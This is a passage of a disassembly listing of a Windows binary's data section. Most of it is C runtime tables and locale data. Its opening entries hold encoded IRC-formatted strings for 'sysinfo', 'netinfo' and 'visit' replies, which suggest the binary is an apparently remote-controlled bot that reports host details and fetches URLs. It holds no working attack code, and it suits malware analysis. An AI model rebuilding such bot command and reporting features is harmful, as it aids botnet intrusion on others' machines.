'dd:MMM:yyyy',0 ; DATA XREF: sub_41B92C+192o aHhMmSs_0 db 'HH:mm:ss',0 ; DATA XREF: sub_41B92C+1AEo align 4 ; char asc_4516D4[] asc_4516D4 db '-' ; DATA XREF: sub_41B92C+297o db 3, 34h, 2 dd 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh ; char aNotConnected[] aNotConnected db 'Not connected',0 ; DATA XREF: sub_41BBE0+48o align 10h aDialUp db 'Dial-up',0 ; DATA XREF: sub_41BBE0+5Bo off_4517C8 dd offset dword_4E414C ; DATA XREF: sub_41BBE0:loc_41BC42o ; char aNA[] aNA db 'N/A',0 ; DATA XREF: sub_41BBE0+6Fo ; char aNA_0[] aNA_0 db 'N/A',0 ; DATA XREF: sub_41BBE0+82o ; char asc_4517D4[] asc_4517D4 db '-' ; DATA XREF: sub_41BBE0+A7o db 3, 34h, 2 dd 6974656Eh, 26F666Eh, 2202D03h, 65707954h, 25203A02h dd 25282073h, 202E2973h, 20504902h, 72646441h, 2737365h dd 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h, 7325203Ah dd 2Eh dword_451818 dd 2A2F2Ah ; DATA XREF: sub_41BCA5+3Bo ; char asc_45181C[] asc_45181C db '-' ; DATA XREF: sub_41BCA5+1A0o db 3, 34h, 2 dd 69736976h, 2D030274h, 766E4920h, 64696C61h, 4C525520h dd 2Eh unk_451838 db 2Dh ; - ; DATA XREF: sub_41BCA5:loc_41BE57o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 ; char asc_451864[] asc_451864 db '-' ; DATA XREF: sub_41BCA5:loc_41BE5Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 dword_451894 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41BCA5+18Co dd 64657469h, 2Eh unk_4518B0 db 2Dh ; - ; DATA XREF: sub_41BCA5:loc_41BE38o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 10h dword_4518F0 dd 1 ; DATA XREF: __heap_alloc_dbg+10r ; __heap_alloc_dbg+F2r ... dword_4518F4 dd 25h ; DATA XREF: __heap_alloc_dbg:loc_41C22Cr ; __heap_alloc_dbg:loc_41C395r ... dword_4518F8 dd 0FFFFFFFFh ; DATA XREF: __heap_alloc_dbg+58r ; _realloc_help+9Er ... byte_4518FC db 0FDh ; DATA XREF: __heap_alloc_dbg+2B7r ; __heap_alloc_dbg+2D1r ... byte_4518FD db 0DDh ; DATA XREF: sub_41CCE0+257r ; sub_41CCE0+39Br ... byte_4518FE db 0CDh ; DATA XREF: __heap_alloc_dbg+2F1r ; _realloc_help+377r align 10h ; char off_451900[] off_451900 dd offset aFree ; DATA XREF: sub_41CCE0+177r ; sub_41CCE0+1DDr ... ; "Free" dd offset aNormal_0 ; "Normal" dd offset aCrt ; "CRT" dd offset aIgnore ; "Ignore" dd offset aClient ; "Client" align 10h dword_451920 dd 173Fh ; DATA XREF: _floor+Br dd 9875h, 9873h off_45192C dd offset __fpmath ; DATA XREF: __cinit+3r __cinit+Cr dd offset __initp_misc_winxfltr dd offset __initp_misc_winxfltr dword_451938 dd 1B3Fh ; DATA XREF: _ceil+Br dword_45193C dd 19930520h, 4 dup(0) ; DATA XREF: __NLG_Notify1+2o ; __NLG_Notify+2o off_451950 dd offset __exit ; DATA XREF: __amsg_exit+22r dword_451954 dd 2 ; DATA XREF: __FF_MSGBANNER+15r ; __NMSG_WRITE+86r ... off_451958 dd offset dword_4F3C20 ; DATA XREF: ___initstdio+B3o ; __lock_file+3o ... align 10h dd offset dword_4F3C20 dd 101h dword_451968 dd 0FFFFFFFFh ; DATA XREF: ___initstdio+11Cw dd 0 dd 1000h, 0 dword_451978 dd 3 dup(0) ; DATA XREF: __flsbuf+111o ; __stbuf:loc_429F43o dd 2, 0FFFFFFFFh, 3 dup(0) dword_451998 dd 3 dup(0) ; DATA XREF: __flsbuf+11Ao ; __stbuf:loc_429F55o dd 2, 0FFFFFFFFh, 83h dup(0) dword_451BB8 dd 8 dup(0) ; DATA XREF: __lock_file+Co ; __unlock_file+Co dword_451BD8 dd 0FFFFFFFFh ; DATA XREF: __CrtDbgReport+80o ; __CrtDbgReport+108o ... dword_451BDC dd 2 ; DATA XREF: __CrtSetReportMode+1Er ; __CrtSetReportMode+39r ... dd 2 dup(4) dword_451BE8 dd 0FFFFFFFFh ; DATA XREF: __CrtSetReportFile+20r ; __CrtSetReportFile+2Cr ... dd 2 dup(0FFFFFFFFh) off_451BF4 dd offset aWarning ; DATA XREF: _CrtMessageWindow+284r ; "Warning" dd offset aError ; "Error" dd offset aAssertionFai_1 ; "Assertion Failed" dword_451C00 dd 0 ; DATA XREF: __mtdeletelocks+1Fr ; __mtdeletelocks+44r ... off_451C04 dd offset dword_4F3590 ; DATA XREF: __mtinitlocks+29r ; __mtdeletelocks+8Fr dd 7 dup(0) off_451C24 dd offset dword_4F35C0 ; DATA XREF: __mtinitlocks+1Cr ; __mtdeletelocks:loc_4234A9r dd 3 dup(0) off_451C34 dd offset dword_4F35D8 ; DATA XREF: __mtinitlocks+Fr ; __mtdeletelocks+75r dd 3 dup(0) off_451C44 dd offset dword_4F35A8 ; DATA XREF: __mtinitlocks+3r ; __mtdeletelocks+82r dd 7 dup(0) dd 9427F8h, 16h dup(0) off_451CC0 dd offset unknown_libname_5 ; DATA XREF: __heap_alloc_dbg+79r ; _realloc_help+C1r ... ; Microsoft VisualC 2-8/net runtime align 8 off_451CC8 dd offset off_451CC8 ; DATA XREF: ___sbh_new_region+Fo ; ___sbh_new_region+7Ao ... off_451CCC dd offset off_451CC8 ; DATA XREF: ___sbh_new_region:loc_426046r ; ___sbh_new_region+9Fw ... dd offset dword_451CE0 dd offset dword_451CE0 dword_451CD8 dd 0FFFFFFFFh ; DATA XREF: ___sbh_new_region+6r ; ___sbh_release_region:loc_4261F7w dd 0FFFFFFFFh dword_451CE0 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .data:00451CD0o ; .data:00451CD4o off_453CE8 dd offset off_451CC8 ; DATA XREF: ___sbh_release_region+17r ; ___sbh_release_region+28w ... dword_453CEC dd 1E0h ; DATA XREF: __heap_alloc_base+AEr ; sub_423880+146r ... dd 10h off_453CF4 dd offset __wctype+2 ; DATA XREF: __printMemBlockData+7Cr ; _atol+2Dr ... off_453CF8 dd offset __wctype+2 ; DATA XREF: unknown_libname_28+2A4w ; unknown_libname_28+35Bw ... public __wctype ; const unsigned __int16 _wctype[] __wctype dd 200000h ; DATA XREF: unknown_libname_28:loc_435031o ; unknown_libname_28+35Bo ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) ; size_t SrcSizeInBytes SrcSizeInBytes dd 1 ; DATA XREF: __printMemBlockData+4Er ; _atol:loc_41E876r ... byte_453F04 db 2Eh ; DATA XREF: unknown_libname_11:loc_42AF77r ; unknown_libname_11+ED2r ... align 4 dword_453F08 dd 1 ; DATA XREF: ___init_numeric+169w ; ___init_numeric+296w off_453F0C dd offset aNull ; DATA XREF: unknown_libname_7:loc_428602r ; unknown_libname_7+57Cr ; "(null)" off_453F10 dd offset aNull_0 ; DATA XREF: unknown_libname_7+514r ; "(null)" dword_453F14 dd 2 ; DATA XREF: __mtinit+Fw __mtinit+14r ... byte_453F18 db 1 ; DATA XREF: __setmbcp+12Fr db 2, 4, 8 align 10h dword_453F20 dd 3A4h ; DATA XREF: __setmbcp+7Er word_453F24 dw 8260h ; DATA XREF: __setmbcp+192r dw 8279h dd 21h, 0 dword_453F30 dd 0DFA6h ; DATA XREF: __setmbcp+D5r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_454010 dd 1 ; DATA XREF: __dosmaperr+2Cr dword_454014 dd 16h ; DATA XREF: __dosmaperr+3Dr dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch asc_454178 db ' ',9,'-',0Dh,']',0 ; DATA XREF: unknown_libname_11:loc_42A512o align 10h asc_454180: ; DATA XREF: unknown_libname_11:loc_42A4EDo unicode 0, <]>,0 align 8 dword_454188 dd 14h ; DATA XREF: __get_fname+1Fr off_45418C dd offset aExp ; DATA XREF: __get_fname+2Er ; "exp" dd 1Dh dd offset aPow ; "pow" dd 1Ah dd offset aLog_0 ; "log" dd 1Bh dd offset aLog10 ; "log10" dd 1Fh dd offset aSinh ; "sinh" dd 13h dd offset aCosh ; "cosh" dd 21h dd offset aTanh ; "tanh" dd 0Eh dd offset aAsin ; "asin" dd 0Dh dd offset aAcos ; "acos" dd 0Fh dd offset aAtan ; "atan" dd 10h dd offset aAtan2 ; "atan2" dd 5 dd offset aSqrt ; "sqrt" dd 1Eh dd offset aSin ; "sin" dd 12h dd offset aCos ; "cos" dd 20h dd offset aTan ; "tan" dd 0Ch dd offset aCeil ; "ceil" dd 0Bh dd offset aFloor ; "floor" dd 15h dd offset aFabs ; "fabs" dd 1Ch dd offset aModf ; "modf" dd 19h dd offset aLdexp ; "ldexp" dd 11h dd offset a_cabs ; "_cabs" dd 18h dd offset a_hypot ; "_hypot" dd 16h dd offset aFmod ; "fmod" dd 17h dd offset aFrexp ; "frexp" dd 22h dd offset a_y0 ; "_y0" dd 23h dd offset a_y1 ; "_y1" dd 24h dd offset a_yn ; "_yn" dbl_454260 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+E4r ; __handle_exc:loc_42BE37r ... dd 0 dd 0FFF80000h dbl_454270 dq 1.797693134862316e308 ; DATA XREF: __handle_exc:loc_42BE7Ar ; __handle_exc+167r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_454288 dt 2.3562723457267347066e313 ; DATA XREF: __set_statfp+13r ; __set_statfp+2Ar align 4 tbyte_454294 dt 1.9149954921904370718e-1233 ; DATA XREF: __set_statfp+41r align 10h off_4542A0 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+3w ; unknown_libname_7+6ADr off_4542A4 dd offset __cropzeros ; DATA XREF: __cfltcvt_init+Dw ; unknown_libname_7+6F1r off_4542A8 dd offset __fassign ; DATA XREF: __cfltcvt_init+17w ; unknown_libname_11+1138r off_4542AC dd offset __forcdecpt ; DATA XREF: __cfltcvt_init+21w ; unknown_libname_7+6CFr off_4542B0 dd offset __positive ; DATA XREF: __cfltcvt_init+2Bw off_4542B4 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+35w dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *) align 10h off_4542C0 dd offset ?terminate@@YAXXZ ; DATA XREF: sub_42DB70+2Dr ; sub_42DB70+3Dr ; terminate(void) dword_4542C4 dd 43h ; DATA XREF: __setlocale_set_cat:loc_42E24Co ; .data:004543E0o ... ; char aC_2[] aC_2 db 'C',0 ; DATA XREF: __expandlocale+8Do ; __expandlocale+117o ... align 4 dd 20h dup(0) ; char aC_3[] aC_3 db 'C',0 ; DATA XREF: __expandlocale+74o ; __expandlocale+FCo ... align 10h dd 20h dup(0) off_4543D0 dd offset aLc_all ; DATA XREF: _setlocale+17Fr ; _setlocale+198r ... ; "LC_ALL" ; char *dword_4543D4 dword_4543D4 dd 0 ; DATA XREF: _setlocale+77r ; _setlocale+320r ... off_4543D8 dd offset sub_42E510 ; DATA XREF: __setlocale_set_cat+12Br dd offset aLc_collate ; "LC_COLLATE" dd offset dword_4542C4 dd offset sub_435080 dd offset aLc_ctype ; "LC_CTYPE" off_4543EC dd offset dword_4542C4 ; DATA XREF: __setlocale_get_all+F0r dd offset unknown_libname_28 ; Microsoft VisualC 2-8/net runtime dd offset aLc_monetary ; "LC_MONETARY" dd offset dword_4542C4 dd offset ___init_monetary dd offset aLc_numeric ; "LC_NUMERIC" dd offset dword_4542C4 dd offset ___init_numeric dd offset aLc_time ; "LC_TIME" dd offset dword_4542C4 dd offset ___init_time dword_454418 dd 0C0000005h, 0Bh, 0 ; DATA XREF: __initptd+6o ; __freeptd+CEo ... dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_454490 dd 3 ; DATA XREF: __XcptFilter+98r ; __XcptFilter:loc_42F2BBr ... dword_454494 dd 7 ; DATA XREF: __XcptFilter+B1r ; _raise+17Dr dword_454498 dd 78h ; DATA XREF: .text:004308B8r ; .text:004308D6r dword_45449C dd 0Ah ; DATA XREF: _xcptlookup+1Dr ; _xcptlookup:loc_42F402r ... dword_4544A0 dd 0FFFFFFFFh, 0A00h, 8 dup(0) ; DATA XREF: __filbuf:loc_4274B6o ; __flsbuf:loc_428139o dword_4544C8 dd 2 ; DATA XREF: __NMSG_WRITE+2Ar ; __NMSG_WRITE+3Dr ... ; char *off_4544CC off_4544CC dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+56r ; __NMSG_WRITE+98r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8 dd offset aR6008NotEnough ; "R6008\r\n- not enough space for arguments"... dd 9 dd offset aR6009NotEnough ; "R6009\r\n- not enough space for environme"... dd 0Ah dd offset aAbnormalProgra ; "\r\nabnormal program termination\r\n" dd 10h dd offset aR6016NotEnough ; "R6016\r\n- not enough space for thread da"... dd 11h dd offset aR6017Unexpecte ; "R6017\r\n- unexpected multithread lock er"... dd 12h dd offset aR6018Unexpecte ; "R6018\r\n- unexpected heap error\r\n" dd 13h dd offset aR6019UnableToO ; "R6019\r\n- unable to open console device\r"... dd 18h dd offset aR6024NotEnough ; "R6024\r\n- not enough space for _onexit/a"... dd 19h dd offset aR6025PureVirtu ; "R6025\r\n- pure virtual function call\r\n" dd 1Ah dd offset aR6026NotEnough ; "R6026\r\n- not enough space for stdio ini"... dd 1Bh dd offset aR6027NotEnough ; "R6027\r\n- not enough space for lowio ini"... dd 1Ch dd offset aR6028UnableToI ; "R6028\r\n- unable to initialize heap\r\n" dd 78h dd offset aDomainError ; "DOMAIN error\r\n" dd 79h dd offset aSingError ; "SING error\r\n" dd 7Ah dd offset aTlossError ; "TLOSS error\r\n" dd 0FCh dd offset asc_43D46C ; "\r\n" dd 0FFh dd offset aRuntimeError ; "runtime error " align 10h dword_454560 dd 2694h ; DATA XREF: __handle_qnan1+3r ; __handle_qnan2+Fr ... align 8 dword_454568 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_432C80+3o dword_454580 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_432CA0+3o dword_454598 dd 7080h ; DATA XREF: ___loctotime_t+92r ; __tzset_lk+80w ... dword_45459C dd 1 ; DATA XREF: ___loctotime_t+C2r ; __tzset_lk+BFw ... dword_4545A0 dd 0FFFFF1F0h ; DATA XREF: ___loctotime_t+DEr ; __tzset_lk+D7w ... dword_4545A4 dd 545350h, 0Fh dup(0) ; DATA XREF: .data:off_454624o dword_4545E4 dd 544450h, 0Fh dup(0) ; DATA XREF: .data:off_454628o ; char *off_454624 off_454624 dd offset dword_4545A4 ; DATA XREF: __tzset_lk+FAr ; __tzset_lk+123r ... ; char *off_454628 off_454628 dd offset dword_4545E4 ; DATA XREF: __tzset_lk+140r ; __tzset_lk+16Ar ... align 10h dword_454630 dd 0FFFFFFFFh ; DATA XREF: __tzset_lk+30w ; sub_4336D0+1Ar ... dword_454634 dd 0 ; DATA XREF: sub_4336D0:loc_4338CBr ; sub_4336D0+20Fr ... dword_454638 dd 0 ; DATA XREF: sub_4336D0+2CFr ; _cvtdate+13Dw align 10h dword_454640 dd 0FFFFFFFFh ; DATA XREF: __tzset_lk+21w ; __tzset_lk+2Br ... dword_454644 dd 0 ; DATA XREF: sub_4336D0+201r ; sub_4336D0+21Dr ... dword_454648 dd 0 ; DATA XREF: sub_4336D0+2E5r ; _cvtdate+1Dr ... dword_45464C dd 0FFFFFFFFh ; DATA XREF: _cvtdate+B0r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_45467C dd 16Dh ; DATA XREF: ___loctotime_t+2Er ; _cvtdate+2Cr ... dword_454680 dd 0FFFFFFFFh ; DATA XREF: _cvtdate+BFr dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 3 dup(0) dword_4546C0 dd 40Ah ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+3Er ; crtGetLocaleInfoA(x,x,x,x)+147r a040a db '040a',0 ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+9Ao align 4 off_4546CC dd offset aSpanishTraditi ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+ABr ; "Spanish - Traditional Sort" dword_4546D0 dd 505345h ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+BCo off_4546D4 dd offset aSpain ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+CDr ; "Spain" dword_4546D8 dd 505345h ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+DEo dword_4546DC dd 303538h, 0 ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+EFo a1252 db '1252',0 ; DATA XREF: crtGetLocaleInfoA(x,x,x,x)+100o align 4 dd 40Bh, 62303430h, 0 dd offset aFinnish ; "Finnish" dd offset word_4E4946 dd offset aFinland ; "Finland" dd offset word_4E4946 dd 303538h, 0 a1252_0 db '1252',0 align 4 dd 40Ch, 63303430h, 0 dd offset aFrench ; "French" dd 415246h dd offset aFrance ; "France" dd 415246h, 303538h, 0 a1252_1 db '1252',0 align 4 dd 40Fh, 66303430h, 0 dd offset aIcelandic ; "Icelandic" dd offset byte_4C5349 dd offset aIceland ; "Iceland" dd offset byte_4C5349 dd 303538h, 0 a1252_2 db '1252',0 align 10h dd 41Dh, 64313430h, 0 dd offset aSwedish ; "Swedish" dd offset byte_455653 dd offset aSweden ; "Sweden" dd offset byte_455753 dd 303538h, 0 a1252_3 db '1252',0 align 4 dd 42Dh, 64323430h, 0 dd offset aBasque ; "Basque" dd 515545h dd offset aSpain ; "Spain" dd 505345h, 303538h, 0 a1252_4 db '1252',0 align 4 db 0Ah db 8,0 align 4 a080a db '080a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4D5345 dd offset aMexico ; "Mexico" dd 58454Dh, 303538h, 0 a1252_5 db '1252',0 align 4 dd 80Ch, 63303830h, 0 dd offset aFrench ; "French" dd 425246h dd offset aBelgium ; "Belgium" dd offset word_4C4542 dd 303538h, 0 a1252_6 db '1252',0 align 10h dd 0C07h, 37306330h, 0 dd offset aGerman ; "German" dd 414544h dd offset aAustria ; "Austria" dword_454838 dd 545541h, 303538h, 0 ; DATA XREF: .data:00454914o a1252_7 db '1252',0 align 4 dd 0C09h, 39306330h, 0 dd offset aEnglish ; "English" dd 414E45h dd offset aAustralia ; "Australia" dd 535541h, 303538h, 0 a1252_8 db '1252',0 align 4 dd 0C0Ah, 61306330h, 0 dd offset aSpanishModernS ; "Spanish - Modern Sort" dd offset byte_4E5345 dd offset aSpain ; "Spain" dd 505345h, 303538h, 0 a1252_9 db '1252',0 align 4 dd 0C0Ch, 63306330h, 0 dd offset aFrench ; "French" dd 435246h dd offset aCanada ; "Canada" dd offset byte_4E4143 dd 303538h, 0 a1252_10 db '1252',0 align 10h dd 100Ah, 61303031h, 0 dd offset aSpanish ; "Spanish" dd offset byte_475345 dd offset aGuatemala ; "Guatemala" dd offset byte_4D5447 dd 303538h, 0 a1252_11 db '1252',0 align 4 dd 100Ch, 63303031h, 0 dd offset aFrench ; "French" dd 535246h dd offset aSwitzerland ; "Switzerland" dd offset dword_454838+0Bh dd 303538h, 0 a1252_12 db '1252',0 align 4 dd 140Ah, 61303431h, 0 dd offset aSpanish ; "Spanish" dd 435345h dd offset aCostaRica ; "Costa Rica" dd offset byte_495243 dd 303538h, 0 a1252_13 db '1252',0 align 4 dd 140Ch, 63303431h, 0 dd offset aFrench ; "French" dd offset word_4C5246 dd offset aLuxembourg ; "Luxembourg" dd 58554Ch, 303538h, 0 a1252_14 db '1252',0 align 10h dd 180Ah, 61303831h, 0 dd offset aSpanish ; "Spanish" dd 415345h dd offset aPanama ; "Panama" dd offset dword_4E4150 dd 303538h, 0 a1252_15 db '1252',0 align 4 dd 1C09h, 39306331h, 0 dd offset aEnglish ; "English" dd 534E45h dd offset aSouthAfrica ; "South Africa" dd offset word_46415A dd 373334h, 0 a1252_16 db '1252',0 align 4 dd 1C0Ah, 61306331h, 0 dd offset aSpanish ; "Spanish" dd offset off_445344+1 dd offset aDominicanRepub ; "Dominican Republic" dd offset dword_4D4F44 dd 303538h, 0 a1252_17 db '1252',0 align 4 db 0Ah db ' ',0 align 4 a200a db '200a',0 align 10h dd offset aSpanish ; "Spanish" dd 565345h dd offset aVenezuela ; "Venezuela" dd offset word_4E4556 dd 303538h, 0 a1252_18 db '1252',0 align 10h db 0Ah db '$',0 align 4 a240a db '240a',0 align 4 dd offset aSpanish ; "Spanish" dd 4F5345h dd offset aColombia ; "Colombia" dd offset byte_4C4F43 dd 303538h, 0 a1252_19 db '1252',0 align 4 db 0Ah db '(',0 align 10h a280a db '280a',0 align 4 dd offset aSpanish ; "Spanish" dd 525345h dd offset aPeru ; "Peru" dd 524550h, 303538h, 0 a1252_20 db '1252',0 align 4 db 0Ah db ',',0 align 4 a2c0a db '2c0a',0 align 4 dd offset aSpanish ; "Spanish" dd 535345h dd offset aArgentina ; "Argentina" dd offset byte_475241 dd 303538h, 0 a1252_21 db '1252',0 align 4 a0_0 db 0Ah db '0',0 align 4 a300a db '300a',0 align 10h dd offset aSpanish ; "Spanish" dd offset byte_465345 dd offset aEcuador ; "Ecuador" dd 554345h, 303538h, 0 a1252_22 db '1252',0 align 10h a4 db 0Ah db '4',0 align 4 a340a db '340a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4C5345 dd offset aChile ; "Chile" dd offset byte_4C4843 dd 303538h, 0 a1252_23 db '1252',0 align 4 a8 db 0Ah db '8',0 align 10h a380a db '380a',0 align 4 dd offset aSpanish ; "Spanish" dd 595345h dd offset aUruguay ; "Uruguay" dd 595255h, 303538h, 0 a1252_24 db '1252',0 align 4 db 0Ah db '<',0 align 4 a3c0a db '3c0a',0 align 4 dd offset aSpanish ; "Spanish" dd 5A5345h dd offset aParaguay ; "Paraguay" dd 595250h, 303538h, 0 a1252_25 db '1252',0 align 4 word_454B64 dw 0C0Ch ; DATA XREF: _TestDefaultCountry+34r dw 0C1Ah dd 4361007h, 42D080Ch, 100C0403h, 81D0810h off_454B78 dd offset aAmerica ; DATA XREF: ___get_qualified_locale+9Co ; "america" dd 415355h dd offset aBritain ; "britain" dd 524247h dd offset aChina ; "china" dd offset byte_4E4843 dd offset aCzech ; "czech" dd offset byte_455A43 dd offset aEngland ; "england" dd 524247h dd offset aGreatBritain ; "great britain" dd 524247h dd offset aHolland ; "holland" dd offset off_444C4C+2 dd offset aHongKong ; "hong-kong" dd offset dword_474B48 dd offset aNewZealand ; "new-zealand" dd offset word_4C5A4E dd offset aNz ; "nz" dd offset word_4C5A4E dd offset aPrChina_0 ; "pr china" dd offset byte_4E4843 dd offset aPrChina ; "pr-china" dd offset byte_4E4843 dd offset aPuertoRico ; "puerto-rico" dd offset dword_495250 dd offset aSlovak ; "slovak" dd offset byte_4B5653 dd offset aSouthAfrica_1 ; "south africa" dd offset word_46415A dd offset aSouthKorea_0 ; "south korea" dd 524F4Bh dd offset aSouthAfrica_0 ; "south-africa" dd offset word_46415A dd offset aSouthKorea ; "south-korea" dd 524F4Bh dd offset aTrinidadTobago ; "trinidad & tobago" dd offset dword_4F5454 dd offset aUk ; "uk" dd 524247h dd offset aUnitedKingdom ; "united-kingdom" dd 524247h dd offset aUnitedStates ; "united-states" dd 415355h dd offset aUs ; "us" dd 415355h off_454C30 dd offset aAmerican ; DATA XREF: ___get_qualified_locale+67o ; "american" dd 554E45h dd offset aAmericanEngl_0 ; "american english" dd 554E45h dd offset aAmericanEnglis ; "american-english" dd 554E45h dd offset aAustralian ; "australian" dd 414E45h dd offset aBelgian ; "belgian" dd 424C4Eh dd offset aCanadian ; "canadian" dd 434E45h dd offset aChh ; "chh" dd offset word_48485A dd offset aChi ; "chi" dd offset word_49485A dd offset aChinese ; "chinese" dd 534843h dd offset aChineseHongkon ; "chinese-hongkong" dd offset word_48485A dd offset aChineseSimplif ; "chinese-simplified" dd 534843h dd offset aChineseSingapo ; "chinese-singapore" dd offset word_49485A dd offset aChineseTraditi ; "chinese-traditional" dd 544843h dd offset aDutchBelgian ; "dutch-belgian" dd 424C4Eh dd offset aEnglishAmerica ; "english-american" dd 554E45h dd offset aEnglishAus ; "english-aus" dd 414E45h dd offset aEnglishBelize ; "english-belize" dd offset byte_4C4E45 dd offset aEnglishCan ; "english-can" dd 434E45h dd offset aEnglishCaribbe ; "english-caribbean" dd 424E45h dd offset aEnglishIre ; "english-ire" dd offset byte_494E45 dd offset aEnglishJamaica ; "english-jamaica" dd offset byte_4A4E45 dd offset aEnglishNz ; "english-nz" dd 5A4E45h dd offset aEnglishSouthAf ; "english-south africa" dd 534E45h dd offset aEnglishTrinida ; "english-trinidad y tobago" dd 544E45h dd offset aEnglishUk ; "english-uk" dd offset byte_474E45 dd offset aEnglishUs ; "english-us" dd 554E45h dd offset aEnglishUsa ; "english-usa" dd 554E45h dd offset aFrenchBelgian ; "french-belgian" dd 425246h dd offset aFrenchCanadian ; "french-canadian" dd 435246h dd offset aFrenchLuxembou ; "french-luxembourg" dd offset word_4C5246 dd offset aFrenchSwiss ; "french-swiss" dd 535246h dd offset aGermanAustrian ; "german-austrian" dd 414544h dd offset aGermanLichtens ; "german-lichtenstein" dd 434544h dd offset aGermanLuxembou ; "german-luxembourg" dd offset dword_4C4544 dd offset aGermanSwiss ; "german-swiss" dd 534544h dd offset aIrishEnglish ; "irish-english" dd offset byte_494E45 dd offset aItalianSwiss ; "italian-swiss" dd 535449h dd offset aNorwegian ; "norwegian" dd 524F4Eh dd offset aNorwegianBokma ; "norwegian-bokmal" dd 524F4Eh dd offset aNorwegianNynor ; "norwegian-nynorsk" dd offset word_4E4F4E dd offset aPortugueseBraz ; "portuguese-brazilian" dd 425450h dd offset aSpanishArgenti ; "spanish-argentina" dd 535345h dd offset aSpanishBolivia ; "spanish-bolivia" dd 425345h dd offset aSpanishChile ; "spanish-chile" dd offset byte_4C5345 dd offset aSpanishColombi ; "spanish-colombia" dd 4F5345h dd offset aSpanishCostaRi ; "spanish-costa rica" dd 435345h dd offset aSpanishDominic ; "spanish-dominican republic" dd offset off_445344+1 dd offset aSpanishEcuador ; "spanish-ecuador" dd offset byte_465345 dd offset aSpanishElSalva ; "spanish-el salvador" dd offset byte_455345 dd offset aSpanishGuatema ; "spanish-guatemala" dd offset byte_475345 dd offset aSpanishHondura ; "spanish-honduras" dd offset byte_485345 dd offset aSpanishMexican ; "spanish-mexican" dd offset byte_4D5345 dd offset aSpanishModern ; "spanish-modern" dd offset byte_4E5345 dd offset aSpanishNicarag ; "spanish-nicaragua" dd offset byte_495345 dd offset aSpanishPanama ; 